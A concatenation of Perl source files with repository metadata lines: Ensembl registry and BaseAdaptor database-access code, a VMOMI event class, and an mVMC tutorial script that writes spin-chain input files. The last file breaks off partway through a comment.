sub load_estgene { load_and_attach_dnadb_to_core(@_) }
sub load_variation { load_and_attach_dnadb_to_core(@_) }
sub load_funcgen { load_and_attach_dnadb_to_core(@_) }
=head2 load_otherfeatures
Arg [1] : DBAdaptor with DBConnection alredy attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_otherfeatures { load_and_attach_dnadb_to_core(@_) }
sub load_rnaseq { load_and_attach_dnadb_to_core(@_) }
=head2 load_vega
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_vega { load_and_attach_dnadb_to_core(@_) }
sub add_alias {
my ( $class, @args ) = @_;
my ( $species, $aliases ) = rearrange( [qw(SPECIES ALIAS)], @args );
# Make sure it exists itself
Bio::EnsEMBL::Registry->add_alias( $species, $species );
if ( defined($aliases) ) {
foreach my $ali (@$aliases) {
Bio::EnsEMBL::Registry->add_alias( $species, $ali );
}
}
}
# WARNING: "CONVENIENCE METHOD" for retriving the species name when one was
# not set. Regulation DB requirement
sub pre_funcgen_hook {
my ($dba) = @_;
if(! $dba->species() ) {
warn "Setting name";
my $name = $dba->dbc()->sql_helper()->execute_single_result(
-SQL => 'select meta_value from meta where meta_key =?',
-PARAMS => ['species.production_name'],
);
$dba->dbc()->disconnect_if_idle();
$dba->species($name);
}
return;
}
#
# overwrite/load new types. Done this way to enable no changes to CVS for
# external users. External users should add there own "GROUPS" in the file
# User_defined_load.
#
eval{ require Bio::EnsEMBL::Utils::User_defined_load };
1;
| james-monkeyshines/ensembl | modules/Bio/EnsEMBL/Utils/ConfigRegistry.pm | Perl | apache-2.0 | 9,623 |
#!/usr/local/bin/perl
#input!!
&input;
#input!!
$fname="StdFace.def";
open(FILE,">$fname");
printf FILE "L = $Lx\n";
printf FILE "Lsub = 2\n";
printf FILE "model = \"Spin\"\n";
printf FILE "lattice = \"chain\"\n";
printf FILE "J = 1.0\n";
printf FILE "2Sz = 0\n";
printf FILE "NVMCSample = 200\n";
printf FILE "NSROptItrStep = 500\n";
printf FILE "NSROptItrSmp = 50\n";
printf FILE "NMPTrans = 1\n";
printf FILE "NSPStot = $NSPStot\n";
close(FILE);
$fname="StdFace_2.def";
open(FILE,">$fname");
printf FILE "L = $Lx\n";
printf FILE "Lsub = 2\n";
printf FILE "model = \"Spin\"\n";
printf FILE "lattice = \"chain\"\n";
printf FILE "J = 1.0\n";
printf FILE "2Sz = 0\n";
printf FILE "NVMCSample = 200\n";
printf FILE "NSROptItrStep = 200\n";
printf FILE "NSROptItrSmp = 100\n";
printf FILE "NMPTrans = 1\n";
printf FILE "NSPStot = $NSPStot\n";
close(FILE);
$fname="StdFace_aft.def";
open(FILE,">$fname");
printf FILE "L = $Lx\n";
printf FILE "Lsub = 2\n";
printf FILE "model = \"Spin\"\n";
printf FILE "lattice = \"chain\"\n";
printf FILE "J = 1.0\n";
printf FILE "2Sz = 0\n";
printf FILE "NVMCSample = 200\n";
printf FILE "NVMCCalMode = 1\n";
printf FILE "NDataIdxStart = 1\n";
printf FILE "NDataQtySmp = 5\n";
printf FILE "NMPTrans = 1\n";
printf FILE "NSPStot = $NSPStot\n";
close(FILE);
sub input{
#input START
$file=sprintf("input.txt");
open(INPUTFILE,$file);
while($name=<INPUTFILE>){
chomp $name;
#DELETE EMPTY
$_=$name;
s/^\s+//;
$name=$_;
@tmp = split /\s+/, $name;
if($tmp[0] eq 'Lx'){
$Lx = $tmp[1];
}
if($tmp[0] eq 'NSPStot'){
$NSPStot = $tmp[1];
}
}
close(INPUTFILE);
#input FINISH
}
| issp-center-dev/mVMC-tutorial | HandsOn/2017_0830/Samples/1D_Heisenberg/MakeMod.pl | Perl | apache-2.0 | 1,991 |
package VMOMI::AlarmAcknowledgedEvent;
use parent 'VMOMI::AlarmEvent';
use strict;
use warnings;
our @class_ancestors = (
'AlarmEvent',
'Event',
'DynamicData',
);
our @class_members = (
['source', 'ManagedEntityEventArgument', 0, ],
['entity', 'ManagedEntityEventArgument', 0, ],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/AlarmAcknowledgedEvent.pm | Perl | apache-2.0 | 525 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2019] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=cut
=head1 NAME
Bio::EnsEMBL::DBSQL::BaseAdaptor - Base Adaptor for DBSQL adaptors
=head1 SYNOPSIS
# base adaptor provides
# SQL prepare function
$adaptor->prepare("sql statement");
# get of root DBAdaptor object
$adaptor->db();
# constructor, ok for inheritence
$adaptor = Bio::EnsEMBL::DBSQL::SubClassOfBaseAdaptor->new($dbobj);
=head1 DESCRIPTION
This is a true base class for Adaptors in the Ensembl DBSQL
system.
Adaptors are expected to have the following functions
$obj = $adaptor->fetch_by_dbID($internal_id);
which builds the object from the primary key of the object. This
function is crucial because it allows adaptors to collaborate relatively
independently of each other - in other words, we can change the schema
under one adaptor without too many knock on changes through the other
adaptors.
Most adaptors will also have
$dbid = $adaptor->store($obj);
which stores the object. Currently the storing of an object also causes
the objects to set
$obj->dbID();
correctly and attach the adaptor.
Other fetch functions go by the convention of
@object_array = @{ $adaptor->fetch_all_by_XXXX($arguments_for_XXXX) };
sometimes it returns an array ref denoted by the 'all' in the name of
the method, sometimes an individual object. For example
$gene = $gene_adaptor->fetch_by_stable_id($stable_id);
or
@fp = @{ $simple_feature_adaptor->fetch_all_by_Slice($slice) };
Occassionally adaptors need to provide access to lists of ids. In this
case the convention is to go list_XXXX, such as
@gene_ids = @{ $gene_adaptor->list_geneIds() };
(note: this method is poorly named)
=cut
package Bio::EnsEMBL::DBSQL::BaseAdaptor;
require Exporter;
use vars qw(@ISA @EXPORT);
use strict;
use Bio::EnsEMBL::Utils::Exception qw(throw);
use Bio::EnsEMBL::Utils::Scalar qw(wrap_array);
use DBI qw(:sql_types);
use Data::Dumper;
use Scalar::Util qw/looks_like_number/;
@ISA = qw(Exporter);
@EXPORT = (@{$DBI::EXPORT_TAGS{'sql_types'}});
=head2 new
Arg [1] : Bio::EnsEMBL::DBSQL::DBConnection $dbobj
Example : $adaptor = new AdaptorInheritedFromBaseAdaptor($dbobj);
Description: Creates a new BaseAdaptor object. The intent is that this
constructor would be called by an inherited superclass either
automatically or through $self->SUPER::new in an overridden
new method.
Returntype : Bio::EnsEMBL::DBSQL::BaseAdaptor
Exceptions : none
Caller : Bio::EnsEMBL::DBSQL::DBConnection
Status : Stable
=cut
sub new {
my ( $class, $dbobj ) = @_;
my $self = bless {}, $class;
if ( !defined $dbobj || !ref $dbobj ) {
throw("Don't have a db [$dbobj] for new adaptor");
}
if ( $dbobj->isa('Bio::EnsEMBL::DBSQL::DBAdaptor') ) {
$self->db($dbobj);
$self->dbc( $dbobj->dbc );
$self->species_id( $dbobj->species_id() );
$self->is_multispecies( $dbobj->is_multispecies() );
} elsif ( ref($dbobj) =~ /DBAdaptor$/ ) {
$self->db($dbobj);
$self->dbc( $dbobj->dbc );
} elsif ( ref($dbobj) =~ /DBConnection$/ ) {
$self->dbc($dbobj);
} else {
throw("Don't have a DBAdaptor [$dbobj] for new adaptor");
}
return $self;
}
=head2 prepare
Arg [1] : string $string
a SQL query to be prepared by this adaptors database
Example : $sth = $adaptor->prepare("select yadda from blabla")
Description: provides a DBI statement handle from the adaptor. A convenience
function so you dont have to write $adaptor->db->prepare all the
time
Returntype : DBI::StatementHandle
Exceptions : none
Caller : Adaptors inherited from BaseAdaptor
Status : Stable
=cut
sub prepare {
my ( $self, $string ) = @_;
# Uncomment next line to cancel caching on the SQL side.
# Needed for timing comparisons etc.
#$string =~ s/SELECT/SELECT SQL_NO_CACHE/i;
return $self->dbc->prepare($string);
}
=head2 db
Arg [1] : (optional) Bio::EnsEMBL::DBSQL::DBAdaptor $obj
the database this adaptor is using.
Example : $db = $adaptor->db();
Description: Getter/Setter for the DatabaseConnection that this adaptor is
using.
Returntype : Bio::EnsEMBL::DBSQL::DBAdaptor
Exceptions : none
Caller : Adaptors inherited from BaseAdaptor
Status : Stable
=cut
sub db {
my ( $self, $value ) = @_;
if ( defined($value) ) {
$self->{'db'} = $value;
}
return $self->{'db'};
}
=head2 dbc
Arg [1] : (optional) Bio::EnsEMBL::DBSQL::DBConnection $obj
the database this adaptor is using.
Example : $db = $adaptor->db();
Description: Getter/Setter for the DatabaseConnection that this adaptor is
using.
Returntype : Bio::EnsEMBL::DBSQL::DBConnection
Exceptions : none
Caller : Adaptors inherited from BaseAdaptor
Status : Stable
=cut
sub dbc {
my ( $self, $value ) = @_;
if ( defined($value) ) {
$self->{'dbc'} = $value;
}
return $self->{'dbc'};
}
=head2 is_multispecies
Arg [1] : (optional) boolean $arg
Example : if ($adaptor->is_multispecies()) { }
Description: Getter/Setter for the is_multispecies boolean of
to use for this adaptor.
Returntype : boolean
Exceptions : none
Caller : general
Status : Stable
=cut
sub is_multispecies {
my ( $self, $arg ) = @_;
if ( defined($arg) ) {
$self->{_is_multispecies} = $arg;
}
return $self->{_is_multispecies};
}
=head2 species_id
Arg [1] : (optional) int $species_id
The internal ID of the species in a multi-species database.
Example : $db = $adaptor->db();
Description: Getter/Setter for the internal ID of the species in a
multi-species database. The default species ID is 1.
Returntype : Integer
Exceptions : none
Caller : Adaptors inherited from BaseAdaptor
Status : Stable
=cut
sub species_id {
my ( $self, $value ) = @_;
if ( defined($value) ) {
$self->{'species_id'} = $value;
}
return $self->{'species_id'} || 1;
}
# list primary keys for a particular table
# args are table name and primary key field
# if primary key field is not supplied, tablename_id is assumed
# returns listref of IDs
sub _list_dbIDs {
my ( $self, $table, $pk, $ordered ) = @_;
if ( !defined($pk) ) { $pk = $table . "_id" }
my $sql = sprintf( "SELECT `%s` FROM `%s`", $pk, $table );
my $join_with_cs = 0;
if ( $self->is_multispecies()
&& $self->isa('Bio::EnsEMBL::DBSQL::BaseFeatureAdaptor')
&& !$self->isa('Bio::EnsEMBL::DBSQL::UnmappedObjectAdaptor') )
{
$sql .= q(
JOIN seq_region USING (seq_region_id)
JOIN coord_system cs USING (coord_system_id)
WHERE cs.species_id = ?
);
$join_with_cs = 1;
}
if ( defined($ordered) && $ordered ) {
$sql .= " ORDER BY seq_region_id, seq_region_start";
}
my $sth = $self->prepare($sql);
if ($join_with_cs) {
$sth->bind_param( 1, $self->species_id(), SQL_INTEGER );
}
eval { $sth->execute() };
if ($@) {
throw("Detected an error whilst executing SQL '${sql}': $@");
}
my $id;
$sth->bind_col( 1, \$id );
my @out;
while ( $sth->fetch() ) {
push( @out, $id );
}
return \@out;
} ## end sub _list_dbIDs
# _straight_join
# Arg [1] : (optional) boolean $new_val
# Example : $self->_straight_join(1);
# $self->generic_fetch($constraint);
# $self->_straight_join(0);
# Description: PROTECTED Getter/Setter that turns on/off the use of
# a straight join in queries.
# Returntype : boolean
# Exceptions : none
# Caller : general
sub _straight_join {
my $self = shift;
if(@_) {
$self->{'_straight_join'} = shift;
}
return $self->{'_straight_join'};
}
sub _can_straight_join {
my $self = shift;
return $self->dbc->_driver_object->can_straight_join;
}
=head2 bind_param_generic_fetch
Arg [1] : (optional) scalar $param
This is the parameter to bind
Arg [2] : (optional) int $sql_type
Type of the parameter (from DBI (:sql_types))
Example : $adaptor->bind_param_generic_fetch($stable_id,SQL_VARCHAR);
$adaptor->generic_fetch();
Description: When using parameters for the query, will call the bind_param to avoid
some security issues. If there are no arguments, will return the bind_parameters
ReturnType : listref
Exceptions: if called with one argument
=cut
sub bind_param_generic_fetch{
my $self = shift;
my $param = shift;
my $sql_type = shift;
if (defined $param && !defined $sql_type){
throw("Need to specify sql_type for parameter $param\n");
}
elsif (defined $param && defined $sql_type){
#check when there is a SQL_INTEGER type that the parameter is really a number
if ($sql_type eq SQL_INTEGER){
throw "Trying to assign a non numerical parameter to an integer value in the database" if ($param !~ /^[+-]{0,1}\d+$/);
}
#both paramters have been entered, push it to the bind_param array
push @{$self->{'_bind_param_generic_fetch'}},[$param,$sql_type];
}
elsif (!defined $param && !defined $sql_type){
#when there are no arguments, return the array
return $self->{'_bind_param_generic_fetch'};
}
}
# Used to reset the params without circumventing scope
sub _bind_param_generic_fetch {
my ($self, $_bind_param_generic_fetch) = @_;
$self->{'_bind_param_generic_fetch'} = $_bind_param_generic_fetch if $_bind_param_generic_fetch;
return $self->{_bind_param_generic_fetch};
}
=head2 generate_in_constraint
Arg [1] : ArrayRef or Scalar $list
List or a single value of items to be pushed into an IN statement
Arg [2] : Scalar $column
Column this IN statement is being applied to. Please fully resolve the
column.
Arg [3] : Scalar $param_type
Data type which should be used when binding. Please use DBI data type symbols
Arg [4] : Scalar boolean $inline_variables
Boolean to control if variables are inlined in the constraint. If
false values are bound via bind_param_generic_fetch() (the default behaviour).
Description : Used internally to generate a SQL constraint to restrict a query by an IN statement.
The code generates the complete IN statement.
Returntype : String
Exceptions : If no list is supplied, the list of values is empty or no data type was given
Caller : general
=cut
sub generate_in_constraint {
my ($self, $list, $column, $param_type, $inline_variables) = @_;
throw("A list of values must be given") if ! defined $list;
$list = wrap_array($list); # homogenise into an array
throw "We should be given at least one value to insert" if scalar(@{$list}) == 0;
throw "Please supply the DBI param type" if ! defined $param_type;
#Figure out if we need to quote our values if we are asked to inline the variables
my $quote_values = 1;
if($param_type == SQL_INTEGER || $param_type == SQL_TINYINT || $param_type == SQL_DOUBLE ) {
$quote_values = 0;
}
my $constraint = qq{${column} IN (};
if($inline_variables) {
if($quote_values) {
$constraint .= join(q{,}, map { qq{"${_}"} } @{$list});
}
else {
$constraint .= join(q{,}, @{$list});
}
}
else {
my @subs = ('?') x scalar(@{$list});
$constraint .= join(q{,}, @subs);
$self->bind_param_generic_fetch($_, $param_type) for @{$list};
}
$constraint .= q{)};
return $constraint;
}
=head2 generic_fetch
Arg [1] : (optional) string $constraint
An SQL query constraint (i.e. part of the WHERE clause)
Arg [2] : (optional) Bio::EnsEMBL::AssemblyMapper $mapper
A mapper object used to remap features
as they are retrieved from the database
Arg [3] : (optional) Bio::EnsEMBL::Slice $slice
A slice that features should be remapped to
Example : $fts = $a->generic_fetch('contig_id in (1234, 1235)');
Description: Performs a database fetch and returns feature objects in
contig coordinates.
Returntype : listref of Bio::EnsEMBL::SeqFeature in contig coordinates
Exceptions : Thrown if there is an issue with querying the data
Caller : BaseFeatureAdaptor, ProxyDnaAlignFeatureAdaptor::generic_fetch
Status : Stable
=cut
sub generic_fetch {
my ($self, $constraint, $mapper, $slice) = @_;
my $sql = $self->_generate_sql($constraint);
my $params = $self->bind_param_generic_fetch();
$params ||= [];
$self->{_bind_param_generic_fetch} = undef;
my $sth = $self->db()->dbc()->prepare($sql);
my $i = 1;
foreach my $param (@{$params}){
$sth->bind_param($i,$param->[0],$param->[1]);
$i++;
}
eval { $sth->execute() };
if ($@) {
throw("Detected an error whilst executing SQL '${sql}': $@");
}
my $res = $self->_objs_from_sth($sth, $mapper, $slice);
$sth->finish();
return $res;
}
=head2 generic_count
Arg [1] : (optional) string $constraint
An SQL query constraint (i.e. part of the WHERE clause)
Example : $number_feats = $a->generic_count('contig_id in (1234, 1235)');
Description: Performs a database fetch and returns a count of those features
found. This is analagous to C<generic_fetch()>
Returntype : Integer count of the elements.
Exceptions : Thrown if there is an issue with querying the data
=cut
sub generic_count {
my ($self, $constraint) = @_;
my $sql = $self->_generate_sql($constraint, 'count(*)');
my $params = $self->bind_param_generic_fetch();
$params ||= [];
$self->{_bind_param_generic_fetch} = undef;
my $h = $self->db()->dbc()->sql_helper();
my $count = $h->execute_single_result(-SQL => $sql, -PARAMS => $params);
return $count;
}
sub _generate_sql {
my ($self, $constraint, @input_columns) = @_;
my @tabs = $self->_tables();
my $extra_default_where;
# Hack for feature types that needs to be restricted to species_id (in
# coord_system).
if ( $self->is_multispecies()
&& $self->isa('Bio::EnsEMBL::DBSQL::BaseFeatureAdaptor')
&& !$self->isa('Bio::EnsEMBL::DBSQL::BaseAlignFeatureAdaptor')
&& !$self->isa('Bio::EnsEMBL::DBSQL::UnmappedObjectAdaptor') )
{
# We do a check to see if there is already seq_region
# and coord_system defined to ensure we get the right
# alias. We then do the extra query irrespectively of
# what has already been specified by the user.
my %thash = map { $_->[0] => $_->[1] } @tabs;
my $sr_alias =
( exists( $thash{seq_region} ) ? $thash{seq_region} : 'sr' );
my $cs_alias =
( exists( $thash{coord_system} ) ? $thash{coord_system} : 'cs' );
if ( !exists( $thash{seq_region} ) ) {
push( @tabs, [ 'seq_region', $sr_alias ] );
}
if ( !exists( $thash{coord_system} ) ) {
push( @tabs, [ 'coord_system', $cs_alias ] );
}
$extra_default_where = sprintf(
'%s.seq_region_id = %s.seq_region_id '
. 'AND %s.coord_system_id = %s.coord_system_id '
. 'AND %s.species_id = ?',
$tabs[0]->[1], $sr_alias, $sr_alias,
$cs_alias, $cs_alias );
$self->bind_param_generic_fetch( $self->species_id(), SQL_INTEGER );
} ## end if ( $self->is_multispecies...)
@input_columns = $self->_columns() if ! @input_columns;
my $columns = join(', ', @input_columns);
#
# Construct a left join statement if one was defined, and remove the
# left-joined table from the table list
#
my @left_join_list = $self->_left_join();
my $left_join_prefix = '';
my $left_join = '';
my @tables;
if(@left_join_list) {
my %left_join_hash = map { $_->[0] => $_->[1] } @left_join_list;
while(my $t = shift @tabs) {
my $t_alias = $t->[0] . " " . $t->[1];
if( exists $left_join_hash{ $t->[0] } || exists $left_join_hash{$t_alias}) {
my $condition = $left_join_hash{ $t->[0] };
$condition ||= $left_join_hash{$t_alias};
my $syn = $t->[1];
$left_join .=
"\n LEFT JOIN " . $t->[0] . " $syn ON $condition ) ";
$left_join_prefix .= '(';
} else {
push @tables, $t;
}
}
} else {
@tables = @tabs;
}
my $straight_join = '';
if($self->_straight_join() and $self->_can_straight_join) {
$straight_join = "STRAIGHT_JOIN";
}
#construct a nice table string like 'table1 t1, table2 t2'
my $tablenames = join(', ', map({ join(' ', @$_) } @tables));
my $sql =
"SELECT $straight_join $columns \n"
. "FROM $left_join_prefix ($tablenames) $left_join";
my $default_where = $self->_default_where_clause();
my $final_clause = $self->_final_clause;
if ($extra_default_where) {
if ($default_where) {
$default_where .= "\n AND $extra_default_where";
} else {
$default_where = $extra_default_where;
}
}
#append a where clause if it was defined
if ($constraint) {
$sql .= "\n WHERE $constraint ";
if ($default_where) {
$sql .= " AND\n $default_where ";
}
} elsif ($default_where) {
$sql .= "\n WHERE $default_where ";
}
#append additional clauses which may have been defined
$sql .= "\n$final_clause";
# FOR DEBUG:
#printf(STDERR "SQL:\n%s\n", $sql);
return $sql;
}
=head2 fetch_by_dbID
Arg [1] : int $id
The unique database identifier for the feature to be obtained
Example : $feat = $adaptor->fetch_by_dbID(1234));
$feat = $feat->transform('contig');
Description: Returns the feature created from the database defined by the
the id $id. The feature will be returned in its native
coordinate system. That is, the coordinate system in which it
is stored in the database. In order to convert it to a
particular coordinate system use the transfer() or transform()
method. If the feature is not found in the database then
undef is returned instead
Returntype : Bio::EnsEMBL::Feature or undef
Exceptions : thrown if $id arg is not provided
does not exist
Caller : general
Status : Stable
=cut
sub fetch_by_dbID {
my ($self, $id) = @_;
if ($self->_no_id_cache()) {
return $self->_uncached_fetch_by_dbID($id);
}
return $self->_id_cache()->get($id);
}
# The actual implmenetation moved sideways to allow for uncached access
# otherwise we'd constantly loop
sub _uncached_fetch_by_dbID{
my ($self,$id) = @_;
throw("id argument is required") if(!defined $id);
#construct a constraint like 't1.table1_id = 123'
my @tabs = $self->_tables;
my ($name, $syn) = @{$tabs[0]};
$self->bind_param_generic_fetch($id,SQL_INTEGER);
my $constraint = "${syn}.${name}_id = ?";
#Should only be one
my ($feat) = @{$self->generic_fetch($constraint)};
return if(!$feat);
return $feat;
}
=head2 fetch_all_by_dbID_list
Arg [1] : listref of integers $id_list
The unique database identifiers for the features to
be obtained.
Arg [2] : optional - Bio::EnsEMBL::Slice to map features onto.
Example : @feats = @{$adaptor->fetch_all_by_dbID_list([1234, 2131, 982]))};
Description: Returns the features created from the database
defined by the the IDs in contained in the provided
ID list $id_list. The features will be returned
in their native coordinate system. That is, the
coordinate system in which they are stored in the
database. In order to convert the features to a
particular coordinate system use the transfer() or
transform() method. If none of the features are
found in the database a reference to an empty list is
returned.
Returntype : listref of Bio::EnsEMBL::Features
Exceptions : thrown if $id arg is not provided
does not exist
Caller : general
Status : Stable
=cut
sub fetch_all_by_dbID_list {
my ($self, $id_list_ref, $slice) = @_;
if ($self->_no_id_cache()) {
return $self->_uncached_fetch_all_by_dbID_list($id_list_ref, $slice);
}
return $self->_id_cache()->get_by_list($id_list_ref, $slice);
}
# The actual implmenetation moved sideways to allow for uncached access
# otherwise we'd constantly loop
sub _uncached_fetch_all_by_dbID_list {
my ( $self, $id_list_ref, $slice ) = @_;
return $self->_uncached_fetch_all_by_id_list($id_list_ref, $slice, "dbID", 1);
} ## end sub fetch_all_by_dbID_list
=head2 _uncached_fetch_all_by_id_list
Arg [1] : listref of IDs
Arg [2] : (optional) Bio::EnsEMBL::Slice $slice
A slice that features should be remapped to
Arg [3] : String describing the ID type.
Valid values include dbID and stable_id. dbID is an alias for
the primary key, while other names map directly to table columns
of the Feature this adaptor manages.
Arg [4] : Boolean $numeric
Indicates if the incoming data is to be processed as a numeric
or as a String. If arg [3] was set to dbID then we default this to
be true. If arg [3] was set to stable_id then we default this to
be false.
When not using a standard arg[3] the IDs are assumed to be Strings.
Arg [5] : Integer $max_size
Control the maximum number of IDs sent to a database in a single
query. Defaults to 2K for Strings and 16K for integers. Only
provide if you know *exactly* why you need to edit it.
Example : $list_of_features = $adaptor->_uncached_fetch_all_by_id_list(
[qw(ENSG00000101321 ENSG00000101346 ENSG00000101367)],
undef,
"stable_id", 0); #using strings
# Numeric set to true because we are using numerics
$list_of_features = $adaptor->_uncached_fetch_all_by_id_list(
[1,2,3,4],
undef,
"dbID", 1);
# Numeric defaults to true because we are querying using dbID
$list_of_features = $adaptor->_uncached_fetch_all_by_id_list(
[1,2,3,4],
undef,
"dbID");
Description: This is a generic method used to fetch lists of features by IDs.
It avoids caches, meaning it is best suited for block fetching.
See fetch_all_by_dbID_list() for more info.
Returntype : ArrayRef of Bio::EnsEMBL::Feature
Exceptions : Thrown if a list of IDs is not supplied.
Caller : BaseFeatureAdaptor, BaseAdaptor and derived classes.
=cut
sub _uncached_fetch_all_by_id_list {
my ( $self, $id_list_ref, $slice, $id_type, $numeric, $max_size ) = @_;
if ( !defined($id_list_ref) || ref($id_list_ref) ne 'ARRAY' ) {
throw("id_list list reference argument is required");
}
if ( !@{$id_list_ref} ) { return [] }
# Construct a constraint like 't1.table1_id = 123'
my @tabs = $self->_tables();
my ( $name, $syn ) = @{ $tabs[0] };
# prepare column name for query. If the id_type was
# set to dbID then we assume the column must be
# tablename_id e.g. gene_id. Otherwise we assume the id_type
# is the field/column name
my $field_name;
if($id_type eq 'dbID') {
$field_name = $name.'_id';
# If numeric was not set default it to 1 since this is an int
$numeric = 1 if ! defined $numeric;
}
elsif($id_type eq 'stable_id') {
# If numeric was not set default it to 0 since this is a string
$numeric = 0 if ! defined $numeric;
$field_name = $id_type;
}
else {
$field_name = $id_type;
}
my $sql_data_type;
# Ensuring we do not exceed MySQL's max_allowed_packet (defaults to 1MB)
# by splitting large queries into smaller queries of at most 256KB
# (262,144 8-bit characters)
# If we had a numeric then really we are talking about working with
# integers. Normal max ensembl id size is 12 plus 2 characters for
# commas in our IN statement comes to 14. Even bloating this to 16 gives
# a max number of 16,384 IDs (262114/16).
#
if($numeric) {
my $first_id = $id_list_ref->[0];
if(!looks_like_number($first_id)) {
throw "You specified that we are looking for numerics but $first_id is not a numeric";
}
$max_size = 16384 if ! defined $max_size;
$sql_data_type = SQL_INTEGER;
}
# However when dealing with Strings those can be very large (assuming
# 128 is the max length of a stable ID). 128 is 8x smaller than our
# previous max expected integer so we reduce the max ids by 8. This gives
# 2048 IDs (16384/8)
else {
$max_size = 2048 if ! defined $max_size;
$sql_data_type = SQL_VARCHAR;
}
# build up unique id list, also validate on the way by
my %id_list;
for (@{$id_list_ref}) {
$id_list{$_}++;
}
my @id_list = keys %id_list;
my @out;
my $inline = 1;
while (@id_list) {
my @ids;
my $id_str;
if ( scalar(@id_list) > $max_size ) {
@ids = splice( @id_list, 0, $max_size );
}
else {
@ids = @id_list;
@id_list = ();
}
# Push off to our IN statement constructor for this work
my $constraint = $self->generate_in_constraint(\@ids, "${syn}.${field_name}", $sql_data_type, $inline);
push @out, @{ $self->generic_fetch($constraint, undef, $slice) };
}
return \@out;
}
# might not be a good idea, but for convenience
# shouldnt be called on the BIG tables though
sub fetch_all {
my $self = shift;
return $self->generic_fetch();
}
=head2 last_insert_id
Arg [1] : (optional) $field the name of the field the inserted ID was pushed
into
Arg [2] : (optional) HashRef used to pass extra attributes through to the
DBD driver
Arg [3] : (optional) $table the name of the table to use if the adaptor
does not implement C<_tables()>
Description : Delegating method which uses DBI to extract the last inserted
identifier. If using MySQL we just call the DBI method
L<DBI::last_insert_id()> since MySQL ignores any extra
arguments. See L<DBI> for more information about this
delegated method.
Example : my $id = $self->last_insert_id('my_id'); my $other_id = $self->last_insert_id();
Returntype : Scalar or undef
=cut
sub last_insert_id {
my ($self, $field, $attributes, $table) = @_;
my $dbc = $self->dbc();
my $dbh = $dbc->db_handle();
my @args;
unless (@args = $dbc->_driver_object->last_insert_id_args($field, $table)) {
if(!$table) {
my ($table_entry) = $self->_tables(); # first table entry
$table = $table_entry->[0]; # table_entry is [ name, alias ]
}
@args = (undef, $dbc->dbname(), $table, $field);
}
$attributes ||= {};
return $dbh->last_insert_id(@args, $attributes);
}
=head2 insert_ignore_clause
=cut
sub insert_ignore_clause {
my $self = shift;
return $self->dbc->_driver_object->insert_ignore_clause;
}
=head2 _id_cache
Description : Used to return an instance of a support BaseCache module
which can be used to speed up object access. The method
also respects the DBAdaptor's no_cache() flag and will
return undef in those situations
Example : my $cache = $self->_id_cache();
Returntype : Bio::EnsEMBL::DBSQL::Support::BaseCache
=cut
sub _id_cache {
my ($self) = @_;
return if $self->db()->no_cache() && !$self->ignore_cache_override;
if(! exists $self->{_id_cache}) {
$self->{_id_cache} = $self->_build_id_cache();
}
return $self->{_id_cache};
}
=head2 _no_id_cache
Description : Flags if the ID based caching is active or not. This could be
due to the adaptor not wanting to cache or because of
a global no_cache() flag on the DBAdaptor instance
Returntype : Boolean
=cut
sub _no_id_cache {
my ($self) = @_;
return 1 if ! $self->_id_cache();
return 0;
}
=head2 ignore_cache_override
Description : Method to interfere with no_cache directive from Registry on
a per adaptor basis. This method should be called after new()
in order to trigger the _build_id_cache at first query.
Example : $adaptor->ignore_cache_override(1);
Returntype : Boolean
=cut
sub ignore_cache_override {
my $self = shift;
$self->{'_override'} = shift if(@_);
unless (defined($self->{'_override'})) {return}
return $self->{'_override'};
}
=head2 schema_version
Description : Returns the schema version of the currently connected
DBAdaptor. The subroutine also caches this value so
repeated calls continue to be speedy.
Example : $adaptor->schema_version();
Returntype : Integer
=cut
sub schema_version {
my ($self) = @_;
return $self->{_schema_version} if exists $self->{_schema_version};
my $mc = $self->db()->get_MetaContainer();
return $self->{_schema_version} = $mc->get_schema_version();
}
#_tables
#
# Args : none
# Example : $tablename = $self->_table_name()
# Description: ABSTRACT PROTECTED
# Subclasses are responsible for implementing this
# method. It should list of [tablename, alias] pairs.
# Additionally the primary table (with the dbID,
# analysis_id, and score) should be the first table in
# the list. e.g:
# ( ['repeat_feature', 'rf'],
# ['repeat_consensus', 'rc']);
# used to obtain features.
# Returntype : list of [tablename, alias] pairs
# Exceptions : thrown if not implemented by subclass
# Caller : BaseFeatureAdaptor::generic_fetch
#
sub _tables {
throw( "abstract method _tables not defined "
. "by implementing subclass of BaseAdaptor" );
}
#_columns
#
# Args : none
# Example : $tablename = $self->_columns()
# Description: ABSTRACT PROTECTED
# Subclasses are responsible for implementing this
# method. It should return a list of columns to be
# used for feature creation.
# Returntype : list of strings
# Exceptions : thrown if not implemented by subclass
# Caller : BaseFeatureAdaptor::generic_fetch
#
sub _columns {
throw( "abstract method _columns not defined "
. "by implementing subclass of BaseAdaptor" );
}
# _default_where_clause
#
# Arg [1] : none
# Example : none
# Description: May be overridden to provide an additional where
# constraint to the SQL query which is generated to
# fetch feature records. This constraint is always
# appended to the end of the generated where clause
# Returntype : string
# Exceptions : none
# Caller : generic_fetch
#
sub _default_where_clause { return '' }
# _left_join
# Arg [1] : none
# Example : none
# Description: Can be overridden by a subclass to specify any left
# joins which should occur. The table name specigfied
# in the join must still be present in the return
# values of.
# Returntype : a {'tablename' => 'join condition'} pair
# Exceptions : none
# Caller : general
#
sub _left_join { return () }
#_final_clause
# Arg [1] : none
# Example : none
# Description: May be overriden to provide an additional clause
# to the end of the SQL query used to fetch feature
# records. This is useful to add a required ORDER BY
# clause to the query for example.
# Returntype : string
# Exceptions : none
# Caller : generic_fetch
sub _final_clause { return '' }
#_objs_from_sth
# Arg [1] : DBI::row_hashref $hashref containing key-value pairs
# for each of the columns specified by the _columns method
# Example : my @feats = $self->_obj_from_hashref
